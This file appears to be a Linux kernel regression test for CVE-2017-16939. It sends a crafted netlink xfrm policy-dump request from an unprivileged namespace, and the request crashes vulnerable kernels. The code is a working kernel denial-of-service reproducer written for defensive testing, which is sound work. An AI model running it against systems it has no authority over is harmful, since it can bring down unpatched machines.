testcases/cve/cve-2017-16939.c

/*
 * Copyright (c) 2018 Michael Moese <mmoese@suse.de>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */
/* Regression test for commit:
 * 1137b5e2529a ipsec: Fix aborted xfrm policy dump crash aka CVE-2017-16939
 *
 * Based on the reproducing code from Mohammed Ghannam, published on
 * https://blogs.securiteam.com/index.php/archives/3535
 *
 * CAUTION! If your system is vulnerable to this CVE, the kernel
 * WILL DIE!
 */

#include <unistd.h>
#include <sched.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <linux/netlink.h>

#include "lapi/xfrm.h"
#include "tst_test.h"
#include "tst_res_flags.h"
#include "tst_safe_macros.h"
#include "tst_safe_net.h"
#include "lapi/namespaces_constants.h"

#define BUFSIZE 2048

static int fd;
static struct sockaddr_nl addr;

struct msg_policy {
	struct nlmsghdr msg;
	char buf[BUFSIZE];
};
static struct msg_policy *p;

static void setup(void)
{
	if (unshare(CLONE_NEWUSER) != 0)
		tst_brk(TCONF, "unshare(CLONE_NEWUSER) failed");
	if (unshare(CLONE_NEWNET) != 0)
		tst_brk(TCONF, "unshare(CLONE_NEWNET) failed");

	fd = SAFE_SOCKET(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	memset(&addr, 0, sizeof(struct sockaddr_nl));
	addr.nl_family = AF_NETLINK;
	addr.nl_pid = 0; /* packet goes into the kernel */
	addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */

	p = SAFE_MALLOC(sizeof(struct msg_policy));
	memset(p, 0, sizeof(struct msg_policy));

	p->msg.nlmsg_len = 0x10;
	p->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
	p->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
	p->msg.nlmsg_seq = 0x1;
	p->msg.nlmsg_pid = 2;
}

static void run(void)
{
	int var = 0x100;

	SAFE_SETSOCKOPT(fd, 1, SO_RCVBUF, &var, sizeof(int));
	SAFE_SENDTO(1, fd, (void *) &p->msg, p->msg.nlmsg_len, 0,
		    (struct sockaddr *) &addr,
		    sizeof(struct sockaddr_nl));

	tst_res(TPASS, "Kernel seems to have survived");
}

static struct tst_test test = {
	.setup = setup,
	.test_all = run,
};